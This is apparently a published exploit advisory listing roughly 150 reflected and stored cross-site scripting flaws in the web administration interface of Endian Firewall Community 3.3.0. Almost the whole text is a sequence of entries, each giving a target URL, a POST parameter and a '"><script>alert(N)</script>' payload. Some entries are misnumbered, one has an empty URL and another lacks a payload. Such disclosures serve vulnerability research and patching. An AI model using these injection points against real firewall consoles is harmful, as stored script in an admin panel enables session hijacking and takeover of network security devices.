################################################################################################################################## # Exploit Title: Endian Firewall Community release 3.3.0 | Cross-Site Scripting # Date: 24.01.2019 # Exploit Author: Ozer Goker # Vendor Homepage: https://www.endian.com # Software Link: https://sourceforge.net/projects/efw/files/Development/EFW-3.3.0/ # Version: 3.3.0 ################################################################################################################################## Introduction Endian Firewall Community (EFW) is a turn-key Linux based security software product designed for home that can transform any unused hardware appliance into a full-featured Unified Threat Management (UTM) solution. Endian Community is designed to make security simple and help protect home networks by using the power of Open Source. ################################################################################# XSS details: Reflected & Stored ################################################################################# XSS1 | Reflected URL https://192.168.2.200:10443/cgi-bin/netwizard.cgi METHOD Post PARAMETER DISPLAY_GREEN_ADDRESS PAYLOAD <script>alert(1)</script> ################################################################################# XSS2 | Reflected URL https://192.168.2.200:10443/cgi-bin/netwizard.cgi METHOD Post PARAMETER DISPLAY_GREEN_NETMASK PAYLOAD <script>alert(2)</script> ################################################################################# XSS3 | Reflected URL https://192.168.2.200:10443/cgi-bin/netwizard.cgi METHOD Post PARAMETER DISPLAY_GREEN_ADDITIONAL PAYLOAD <script>alert(3)</script> ################################################################################# XSS4 | Reflected URL https://192.168.2.200:10443/cgi-bin/netwizard.cgi METHOD Post PARAMETER MTU PAYLOAD <script>alert(4)</script> ################################################################################# XSS5 | Reflected URL https://192.168.2.200:10443/cgi-bin/netwizard.cgi METHOD Post PARAMETER MAC PAYLOAD <script>alert(5)</script> ################################################################################# XSS6 | Reflected URL https://192.168.2.200:10443/cgi-bin/netwizard.cgi METHOD Post PARAMETER MAIN_ADMINMAIL PAYLOAD <script>alert(6)</script> ################################################################################# XSS7 | Reflected URL https://192.168.2.200:10443/cgi-bin/netwizard.cgi METHOD Post PARAMETER MAIN_MAILFROM PAYLOAD <script>alert(7)</script> ################################################################################# XSS8 | Reflected URL https://192.168.2.200:10443/cgi-bin/netwizard.cgi METHOD Post PARAMETER MAIN_SMARTHOST PAYLOAD <script>alert(8)</script> ################################################################################# XSS9 | Stored URL https://192.168.2.200:10443/manage/notifications/ METHOD Post PARAMETER SMARTHOST_ADDRESS PAYLOAD "><script>alert(9)</script> ################################################################################# XSS10 | Stored URL https://192.168.2.200:10443/manage/notifications/ METHOD Post PARAMETER SMARTHOST_USERNAME PAYLOAD "><script>alert(10)</script> ################################################################################# XSS11 | Stored URL https://192.168.2.200:10443/manage/password/web/?ACTION=edit&CONTROLLERNAME=&ID=2 METHOD Post PARAMETER remark PAYLOAD "><script>alert(11)</script> ################################################################################# XSS12 | Reflected URL https://192.168.2.200:10443/manage/gui/ METHOD Post PARAMETER new_cert_name PAYLOAD "><script>alert(12)</script> ################################################################################# XSS13 | Reflected URL https://192.168.2.200:10443/manage/gui/ METHOD Post PARAMETER new_cert_email PAYLOAD "><script>alert(13)</script> ################################################################################# XSS14 | Reflected URL https://192.168.2.200:10443/manage/gui/ METHOD Post PARAMETER new_cert_ou PAYLOAD "><script>alert(14)</script> ################################################################################# XSS15 | Reflected URL https://192.168.2.200:10443/manage/gui/ METHOD Post PARAMETER new_cert_city PAYLOAD "><script>alert(15)</script> ################################################################################# XSS16 | Reflected URL https://192.168.2.200:10443/manage/gui/ METHOD Post PARAMETER new_cert_state PAYLOAD "><script>alert(16)</script> ################################################################################# XSS17 | Reflected URL https://192.168.2.200:10443/manage/gui/ METHOD Post PARAMETER new_cert_days PAYLOAD "><script>alert(17)</script> ################################################################################# XSS18 | Reflected URL https://192.168.2.200:10443/manage/gui/ METHOD Post PARAMETER upload_cert_req_days PAYLOAD "><script>alert(18)</script> ################################################################################# XSS19 | Reflected URL https://192.168.2.200:10443/cgi-bin/backupschedule.cgi METHOD Post PARAMETER BACKUP_RCPTTO PAYLOAD "><script>alert(19)</script> ################################################################################# XSS20 | Reflected URL https://192.168.2.200:10443/cgi-bin/backupschedule.cgi METHOD Post PARAMETER BACKUP_MAILFROM PAYLOAD "><script>alert(20)</script> ################################################################################# XSS21 | Reflected URL https://192.168.2.200:10443/cgi-bin/backupschedule.cgi METHOD Post PARAMETER BACKUP_SMARTHOST PAYLOAD "><script>alert(21)</script> ################################################################################# XSS22 | Stored URL https://192.168.2.200:10443/manage/dnsmasq/hosts/?ACTION=edit&CONTROLLERNAME=hosts&ID=1 METHOD Post PARAMETER remark PAYLOAD "><script>alert(22)</script> ################################################################################# XSS23 | Reflected URL https://192.168.2.200:10443/cgi-bin/routing.cgi METHOD Post PARAMETER source PAYLOAD "><script>alert(23)</script> ################################################################################# XSS24 | Reflected URL https://192.168.2.200:10443/cgi-bin/routing.cgi METHOD Post PARAMETER destination PAYLOAD "><script>alert(24)</script> ################################################################################# XSS25 | Reflected URL METHOD PARAMETER PAYLOAD "><script>alert(25)</script> ################################################################################# XSS26 | Reflected URL https://192.168.2.200:10443/cgi-bin/policy_routing.cgi METHOD Post PARAMETER source PAYLOAD "><script>alert(26)</script> ################################################################################# XSS27 | Reflected URL https://192.168.2.200:10443/cgi-bin/policy_routing.cgi METHOD Post PARAMETER destination PAYLOAD "><script>alert(27)</script> ################################################################################# XSS28 | Reflected URL https://192.168.2.200:10443/cgi-bin/policy_routing.cgi METHOD Post PARAMETER port PAYLOAD "><script>alert(28)</script> ################################################################################# XSS29 | Stored URL https://192.168.2.200:10443/cgi-bin/uplinkeditor.cgi METHOD Post PARAMETER NAME PAYLOAD "><script>alert(29)</script> ################################################################################# XSS30 | Reflected URL https://192.168.2.200:10443/cgi-bin/vlanconfig.cgi METHOD Post PARAMETER DEVICE PAYLOAD "><script>alert(30)</script> ################################################################################# XSS31 | Stored URL https://192.168.2.200:10443/manage/dhcp/settings/ METHOD Post PARAMETER DEFAULT_LEASE_TIME_GREEN PAYLOAD "><script>alert(31)</script> ################################################################################# XSS32 | Stored URL https://192.168.2.200:10443/manage/dhcp/settings/ METHOD Post PARAMETER MAX_LEASE_TIME_GREEN PAYLOAD "><script>alert(32)</script> ################################################################################# XSS33 | Stored URL https://192.168.2.200:10443/manage/dhcp/settings/ METHOD Post PARAMETER DOMAIN_NAME_GREEN PAYLOAD "><script>alert(33)</script> ################################################################################# XSS34 | Stored URL https://192.168.2.200:10443/manage/dhcp/settings/ METHOD Post PARAMETER DEFAULT_LEASE_TIME_ORANGE PAYLOAD "><script>alert(34)</script> ################################################################################# XSS35 | Stored URL https://192.168.2.200:10443/manage/dhcp/settings/ METHOD Post PARAMETER MAX_LEASE_TIME_ORANGE PAYLOAD "><script>alert(35)</script> ################################################################################# XSS36 | Stored URL https://192.168.2.200:10443/manage/dhcp/settings/ METHOD Post PARAMETER DOMAIN_NAME_ORANGE PAYLOAD "><script>alert(36)</script> ################################################################################# XSS37 | Stored URL https://192.168.2.200:10443/manage/dhcp/settings/ METHOD Post PARAMETER DEFAULT_LEASE_TIME_BLUE PAYLOAD "><script>alert(37)</script> ################################################################################# XSS38 | Stored URL https://192.168.2.200:10443/manage/dhcp/settings/ METHOD Post PARAMETER MAX_LEASE_TIME_BLUE PAYLOAD "><script>alert(38)</script> ################################################################################# XSS39 | Stored URL https://192.168.2.200:10443/manage/dhcp/settings/ METHOD Post PARAMETER DOMAIN_NAME_BLUE PAYLOAD "><script>alert(39)</script> ################################################################################# XSS40 | Reflected URL https://192.168.2.200:10443/manage/dhcp/fixed_leases/ METHOD Post PARAMETER remark PAYLOAD "><script>alert(40)</script> ################################################################################# XSS41 | Reflected URL https://192.168.2.200:10443/manage/dhcp/fixed_leases/ METHOD Post PARAMETER filename PAYLOAD "><script>alert(41)</script> ################################################################################# XSS42 | Reflected URL https://192.168.2.200:10443/manage/dhcp/fixed_leases/ METHOD Post PARAMETER root_path PAYLOAD "><script>alert(42)</script> ################################################################################# XSS43 | Reflected URL https://192.168.2.200:10443/cgi-bin/time.cgi METHOD Post PARAMETER NTP_SERVER_LIST PAYLOAD "><script>alert(43)</script> ################################################################################# XSS44 | Stored URL https://192.168.2.200:10443/cgi-bin/salearn.cgi METHOD Post PARAMETER remark PAYLOAD "><script>alert(44)</script> ################################################################################# XSS45 | Stored URL https://192.168.2.200:10443/cgi-bin/salearn.cgi METHOD Post PARAMETER host PAYLOAD "><script>alert(45)</script> ################################################################################# XSS46 | Stored URL https://192.168.2.200:10443/cgi-bin/salearn.cgi METHOD Post PARAMETER user PAYLOAD "><script>alert(46)</script> ################################################################################# XSS3 | Stored URL https://192.168.2.200:10443/cgi-bin/salearn.cgi METHOD Post PARAMETER ham PAYLOAD "><script>alert(47)</script> ################################################################################# XSS48 | Stored URL https://192.168.2.200:10443/cgi-bin/salearn.cgi METHOD Post PARAMETER spam PAYLOAD "><script>alert(48)</script> ################################################################################# XSS49 | Reflected URL https://192.168.2.200:10443/manage/qos/devices/ METHOD Post PARAMETER device PAYLOAD "><script>alert(49)</script> ################################################################################# XSS50 | Reflected URL https://192.168.2.200:10443/manage/qos/classes/ METHOD Post PARAMETER name PAYLOAD "><script>alert(50)</script> ################################################################################# XSS51 | Reflected URL https://192.168.2.200:10443/manage/qos/rules/ METHOD Post PARAMETER protocol PAYLOAD "><script>alert(51)</script> ################################################################################# XSS52 | Reflected URL https://192.168.2.200:10443/manage/qos/rules/ METHOD Post PARAMETER dscp PAYLOAD "><script>alert(52)</script> ################################################################################# XSS53 | Reflected URL https://192.168.2.200:10443/manage/qos/rules/ METHOD Post PARAMETER comment PAYLOAD "><script>alert(53)</script> ################################################################################# XSS54 | Reflected URL https://192.168.2.200:10443/cgi-bin/dnat.cgi METHOD Post PARAMETER target_ip_ip PAYLOAD "><script>alert(54)</script> ################################################################################# XSS55 | Reflected URL https://192.168.2.200:10443/cgi-bin/snat.cgi METHOD Post PARAMETER source PAYLOAD "><script>alert(55)</script> ################################################################################# XSS56 | Reflected URL https://192.168.2.200:10443/cgi-bin/snat.cgi METHOD Post PARAMETER snat_to_ip PAYLOAD "><script>alert(56)</script> ################################################################################# XSS57 | Stored URL https://192.168.2.200:10443/cgi-bin/incoming.cgi METHOD Post PARAMETER destination PAYLOAD "><script>alert(57)</script> ################################################################################# XSS58 | Reflected URL https://192.168.2.200:10443/cgi-bin/incoming.cgi METHOD Post PARAMETER target PAYLOAD "><script>alert(58)</script> ################################################################################# XSS59 | Stored URL https://192.168.2.200:10443/cgi-bin/incoming.cgi METHOD Post PARAMETER remark PAYLOAD "><script>alert(59)</script> ################################################################################# XSS60 | Reflected URL https://192.168.2.200:10443/cgi-bin/outgoingfw.cgi METHOD Post PARAMETER target PAYLOAD "><script>alert(60)</script> ################################################################################# XSS61 | Stored URL https://192.168.2.200:10443/cgi-bin/outgoingfw.cgi METHOD Post PARAMETER remark PAYLOAD "><script>alert(61)</script> ################################################################################# XSS62 | Reflected URL https://192.168.2.200:10443/cgi-bin/zonefw.cgi METHOD Post PARAMETER target PAYLOAD "><script>alert(62)</script> ################################################################################# XSS63 | Stored URL https://192.168.2.200:10443/cgi-bin/zonefw.cgi METHOD Post PARAMETER remark PAYLOAD "><script>alert(63)</script> ################################################################################# XSS64 | Reflected URL https://192.168.2.200:10443/cgi-bin/vpnfw.cgi METHOD Post PARAMETER source PAYLOAD "><script>alert(64)</script> ################################################################################# XSS65 | Reflected URL https://192.168.2.200:10443/cgi-bin/vpnfw.cgi METHOD Post PARAMETER target PAYLOAD "><script>alert(65)</script> ################################################################################# XSS66 | Stored URL https://192.168.2.200:10443/cgi-bin/vpnfw.cgi METHOD Post PARAMETER remark PAYLOAD "><script>alert(66)</script> ################################################################################# XSS67 | Reflected URL https://192.168.2.200:10443/cgi-bin/xtaccess.cgi METHOD Post PARAMETER target PAYLOAD "><script>alert(67)</script> ################################################################################# XSS68 | Stored URL https://192.168.2.200:10443/cgi-bin/xtaccess.cgi METHOD Post PARAMETER remark PAYLOAD "><script>alert(68)</script> ################################################################################# XSS69 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi METHOD Post PARAMETER PROXY_PORT PAYLOAD "><script>alert(69)</script> ################################################################################# XSS70 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi METHOD Post PARAMETER VISIBLE_HOSTNAME PAYLOAD "><script>alert(70)</script> ################################################################################# XSS71 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi METHOD Post PARAMETER ADMIN_MAIL_ADDRESS PAYLOAD "><script>alert(71)</script> ################################################################################# XSS72 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi METHOD Post PARAMETER BYPASS_SOURCE PAYLOAD "><script>alert(72)</script> ################################################################################# XSS73 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi METHOD Post PARAMETER BYPASS_DESTINATION PAYLOAD "><script>alert(73)</script> ################################################################################# XSS74 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi METHOD Post PARAMETER CACHE_SIZE PAYLOAD "><script>alert(74)</script> ################################################################################# XSS75 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi METHOD Post PARAMETER CACHE_MEM PAYLOAD "><script>alert(75)</script> ################################################################################# XSS76 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi METHOD Post PARAMETER MAX_SIZE PAYLOAD "><script>alert(76)</script> ################################################################################# XSS77 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyconfig.cgi METHOD Post PARAMETER DST_NOCACHE PAYLOAD "><script>alert(77)</script> ################################################################################# XSS78 | Stored URL https://192.168.2.200:10443/cgi-bin/proxypolicy.cgi METHOD Post PARAMETER filtertype PAYLOAD "><script>alert(78)</script> ################################################################################# XSS79 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyauth.cgi METHOD Post PARAMETER AUTH_CHILDREN PAYLOAD "><script>alert(79)</script> ################################################################################# XSS80 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyauth.cgi METHOD Post PARAMETER AUTH_MAX_USERIP PAYLOAD "><script>alert(80)</script> ################################################################################# XSS81 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyauth.cgi METHOD Post PARAMETER AUTH_CACHE_TTL PAYLOAD "><script>alert(81)</script> ################################################################################# XSS82 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyauth.cgi METHOD Post PARAMETER AUTH_IPCACHE_TTL PAYLOAD "><script>alert(82)</script> ################################################################################# XSS83 | Reflected URL https://192.168.2.200:10443/cgi-bin/proxyauth.cgi METHOD Post PARAMETER NCSA_MIN_PASS_LEN PAYLOAD "><script>alert(83)</script> ################################################################################# XSS84 | Reflected URL https://192.168.2.200:10443/manage/proxy/adjoin/ METHOD Post PARAMETER ADMIN_USER PAYLOAD "><script>alert(84)</script> ################################################################################# XSS85 | Reflected URL https://192.168.2.200:10443/cgi-bin/frox.cgi METHOD Post PARAMETER TRANSPARENT_SOURCE_BYPASS PAYLOAD "><script>alert(85)</script> ################################################################################# XSS86 | Reflected URL https://192.168.2.200:10443/cgi-bin/frox.cgi METHOD Post PARAMETER TRANSPARENT_DESTINATION_BYPASS PAYLOAD "><script>alert(86)</script> ################################################################################# XSS87 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtpconfig.cgi METHOD Post PARAMETER VIRUS_ADMIN PAYLOAD "><script>alert(87)</script> ################################################################################# XSS88 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtpconfig.cgi METHOD Post PARAMETER NOTIFICATION_SENDER PAYLOAD "><script>alert(88)</script> ################################################################################# XSS89 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtpconfig.cgi METHOD Post PARAMETER BYPASS_SOURCE PAYLOAD "><script>alert(89)</script> ################################################################################# XSS90 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtpconfig.cgi METHOD Post PARAMETER BYPASS_DESTINATION PAYLOAD "><script>alert(90)</script> ################################################################################# XSS91 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtplists.cgi METHOD Post PARAMETER SENDER_WHITELIST PAYLOAD "><script>alert(91)</script> ################################################################################# XSS92 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtplists.cgi METHOD Post PARAMETER RECIPIENT_WHITELIST PAYLOAD "><script>alert(92)</script> ################################################################################# XSS93 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtplists.cgi METHOD Post PARAMETER CLIENT_WHITELIST PAYLOAD "><script>alert(93)</script> ################################################################################# XSS94 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtplists.cgi METHOD Post PARAMETER SENDER_BLACKLIST PAYLOAD "><script>alert(94)</script> ################################################################################# XSS95 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtplists.cgi METHOD Post PARAMETER RECIPIENT_BLACKLIST PAYLOAD "><script>alert(95)</script> ################################################################################# XSS96 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtplists.cgi METHOD Post PARAMETER CLIENT_BLACKLIST PAYLOAD "><script>alert(96)</script> ################################################################################# XSS97 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtplists.cgi METHOD Post PARAMETER WHITELIST_RECIPIENT PAYLOAD "><script>alert(97)</script> ################################################################################# XSS98 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtplists.cgi METHOD Post PARAMETER WHITELIST_CLIENT PAYLOAD "><script>alert(98)</script> ################################################################################# XSS99 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtplists.cgi METHOD Post PARAMETER SPAM_WHITELIST PAYLOAD "><script>alert(99)</script> ################################################################################# XSS100 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtplists.cgi METHOD Post PARAMETER SPAM_BLACKLIST PAYLOAD "><script>alert(100)</script> ################################################################################# XSS101 | Stored URL https://192.168.2.200:10443/cgi-bin/smtpdomains.cgi METHOD Post PARAMETER DOMAIN PAYLOAD "><script>alert(101)</script> ################################################################################# XSS102 | Stored URL https://192.168.2.200:10443/cgi-bin/smtpdomains.cgi METHOD Post PARAMETER SERVER PAYLOAD "><script>alert(102)</script> ################################################################################# XSS103 | Reflected URL https://192.168.2.200:10443/manage/smtpscan/domainrouting/ METHOD Post PARAMETER domain PAYLOAD "><script>alert(103)</script> ################################################################################# XSS104 | Reflected URL https://192.168.2.200:10443/manage/smtpscan/domainrouting/ METHOD Post PARAMETER smarthost_address PAYLOAD "><script>alert(104)</script> ################################################################################# XSS105 | Reflected URL https://192.168.2.200:10443/manage/smtpscan/domainrouting/ METHOD Post PARAMETER smarthost_username PAYLOAD "><script>alert(105)</script> ################################################################################# XSS106 | Stored URL https://192.168.2.200:10443/cgi-bin/smtprouting.cgi METHOD Post PARAMETER ADDRESS PAYLOAD "><script>alert(106)</script> ################################################################################# XSS107 | Reflected URL https://192.168.2.200:10443/cgi-bin/smtprouting.cgi METHOD Post PARAMETER BCC PAYLOAD "><script>alert(107)</script> ################################################################################# XSS108 | Reflected URL https://192.168.2.200:10443/manage/smtpscan/advanced/ METHOD Post PARAMETER SMARTHOST_USERNAME PAYLOAD "><script>alert(108)</script> ################################################################################# XSS109 | Reflected URL https://192.168.2.200:10443/manage/smtpscan/advanced/ METHOD Post PARAMETER AUTH_DAEMONS PAYLOAD "><script>alert(109)</script> ################################################################################# XSS110 | Stored URL https://192.168.2.200:10443/manage/smtpscan/advanced/ METHOD Post PARAMETER IMAP_AUTH_SERVER PAYLOAD ################################################################################# XSS111 | Reflected URL https://192.168.2.200:10443/manage/smtpscan/advanced/ METHOD Post PARAMETER SMTP_HELO_NAME PAYLOAD "><script>alert(111)</script> ################################################################################# XSS112 | Stored URL https://192.168.2.200:10443/manage/smtpscan/advanced/ METHOD Post PARAMETER ALWAYS_BCC_ADDRESS PAYLOAD "><script>alert(112)</script> ################################################################################# XSS113 | Reflected URL https://192.168.2.200:10443/manage/smtpscan/advanced/ METHOD Post PARAMETER MAILTEMPLATE_LANGUAGE PAYLOAD "><script>alert(113)</script> ################################################################################# XSS114 | Reflected URL https://192.168.2.200:10443/manage/smtpscan/advanced/ METHOD Post PARAMETER SMTPD_HARD_ERROR_LIMIT PAYLOAD "><script>alert(114)</script> ################################################################################# XSS115 | Reflected URL https://192.168.2.200:10443/manage/dnsmasq/localdomains/ METHOD Post PARAMETER remark PAYLOAD "><script>alert(115)</script> ################################################################################# XSS116 | Reflected URL https://192.168.2.200:10443/manage/openvpn/ METHOD Post PARAMETER reneg_sec PAYLOAD "><script>alert(116)</script> ################################################################################# XSS55 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER remark PAYLOAD "><script>alert(117)</script> ################################################################################# XSS118 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER secret PAYLOAD "><script>alert(118)</script> ################################################################################# XSS119 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER new_cert_name PAYLOAD "><script>alert(119)</script> ################################################################################# XSS120 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER new_cert_email PAYLOAD "><script>alert(120)</script> ################################################################################# XSS121 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER new_cert_ou PAYLOAD "><script>alert(121)</script> ################################################################################# XSS122 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER new_cert_organization PAYLOAD "><script>alert(122)</script> ################################################################################# XSS123 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER new_cert_city PAYLOAD "><script>alert(123)</script> ################################################################################# XSS124 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER new_cert_state PAYLOAD "><script>alert(124)</script> ################################################################################# XSS125 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER new_cert_days PAYLOAD "><script>alert(125)</script> ################################################################################# XSS126 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER upload_cert_req_days PAYLOAD "><script>alert(126)</script> ################################################################################# XSS127 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER local_peerid PAYLOAD "><script>alert(127)</script> ################################################################################# XSS128 | Reflected URL https://192.168.2.200:10443/manage/ipsec/ METHOD Post PARAMETER remote_peerid PAYLOAD "><script>alert(128)</script> ################################################################################# XSS129 | Reflected URL https://192.168.2.200:10443/manage/vpnauthentication/user/ METHOD Post PARAMETER name PAYLOAD "><script>alert(129)</script> ################################################################################# XSS130 | Reflected URL https://192.168.2.200:10443/manage/vpnauthentication/user/ METHOD Post PARAMETER remark PAYLOAD "><script>alert(130)</script> ################################################################################# XSS131 | Reflected URL https://192.168.2.200:10443/manage/vpnauthentication/user/ METHOD Post PARAMETER new_cert_days PAYLOAD "><script>alert(131)</script> ################################################################################# XSS132 | Reflected URL https://192.168.2.200:10443/manage/vpnauthentication/user/ METHOD Post PARAMETER upload_cert_req_days PAYLOAD "><script>alert(132)</script> ################################################################################# XSS133 | Reflected URL https://192.168.2.200:10443/manage/vpnauthentication/user/ METHOD Post PARAMETER user_department PAYLOAD "><script>alert(133)</script> ################################################################################# XSS134 | Reflected URL https://192.168.2.200:10443/manage/vpnauthentication/user/ METHOD Post PARAMETER user_organization PAYLOAD "><script>alert(134)</script> ################################################################################# XSS135 | Reflected URL https://192.168.2.200:10443/manage/vpnauthentication/user/ METHOD Post PARAMETER user_city PAYLOAD "><script>alert(135)</script> ################################################################################# XSS136 | Reflected URL https://192.168.2.200:10443/manage/vpnauthentication/user/ METHOD Post PARAMETER user_state PAYLOAD "><script>alert(136)</script> ################################################################################# XSS137 | Reflected URL https://192.168.2.200:10443/manage/ca/certificate/ METHOD Post PARAMETER new_cert_name PAYLOAD "><script>alert(137)</script> ################################################################################# XSS138 | Reflected URL https://192.168.2.200:10443/manage/ca/certificate/ METHOD Post PARAMETER new_cert_ou PAYLOAD "><script>alert(138)</script> ################################################################################# XSS139 | Reflected URL https://192.168.2.200:10443/manage/ca/certificate/ METHOD Post PARAMETER new_cert_organization PAYLOAD "><script>alert(139)</script> ################################################################################# XSS140 | Reflected URL https://192.168.2.200:10443/manage/ca/certificate/ METHOD Post PARAMETER new_cert_city PAYLOAD "><script>alert(140)</script> ################################################################################# XSS141 | Reflected URL https://192.168.2.200:10443/manage/ca/certificate/ METHOD Post PARAMETER new_cert_state PAYLOAD "><script>alert(141)</script> ################################################################################# XSS142 | Reflected URL https://192.168.2.200:10443/manage/ca/certificate/ METHOD Post PARAMETER upload_cert_req_days PAYLOAD "><script>alert(142)</script> ################################################################################# XSS143 | Stored URL https://192.168.2.200:10443/cgi-bin/logs_log.cgi METHOD Post PARAMETER DATE PAYLOAD "><script>alert(143)</script> ################################################################################# XSS144 | Reflected URL https://192.168.2.200:10443/cgi-bin/logs_log.cgi METHOD Post PARAMETER OFFSET PAYLOAD "><script>alert(144)</script> ################################################################################# XSS145 | Reflected URL https://192.168.2.200:10443/cgi-bin/logs_ids.cgi METHOD Post PARAMETER DATE PAYLOAD "><script>alert(145)</script> ################################################################################# XSS146 | Reflected URL https://192.168.2.200:10443/cgi-bin/logs_openvpn.cgi METHOD Post PARAMETER DATE PAYLOAD "><script>alert(146)</script> ################################################################################# XSS147 | Reflected URL https://192.168.2.200:10443/cgi-bin/logs_clamav.cgi METHOD Post PARAMETER DATE PAYLOAD "><script>alert(147)</script> ################################################################################# XSS148 | Reflected URL https://192.168.2.200:10443/cgi-bin/logs_firewall.cgi METHOD Post PARAMETER DATE PAYLOAD "><script>alert(148)</script> ################################################################################# XSS149 | Reflected URL https://192.168.2.200:10443/cgi-bin/logs_firewall.cgi METHOD Post PARAMETER OFFSET PAYLOAD "><script>alert(148)</script> ################################################################################# XSS149 | Reflected URL https://192.168.2.200:10443/cgi-bin/logs_proxy.cgi METHOD Post PARAMETER DATE PAYLOAD "><script>alert(149)</script> ################################################################################# XSS150 | Reflected URL https://192.168.2.200:10443/cgi-bin/logs_smtp.cgi METHOD Post PARAMETER DATE PAYLOAD "><script>alert(150)</script> ################################################################################# XSS151 | Stored URL https://192.168.2.200:10443/manage/opentsa/ METHOD Post PARAMETER HTTP_USERNAME PAYLOAD "><script>alert(151)</script> ################################################################################# XSS152 | Stored URL https://192.168.2.200:10443/manage/opentsa/ METHOD Post PARAMETER HTTP_PASSWORD PAYLOAD "><script>alert(152)</script> #################################################################################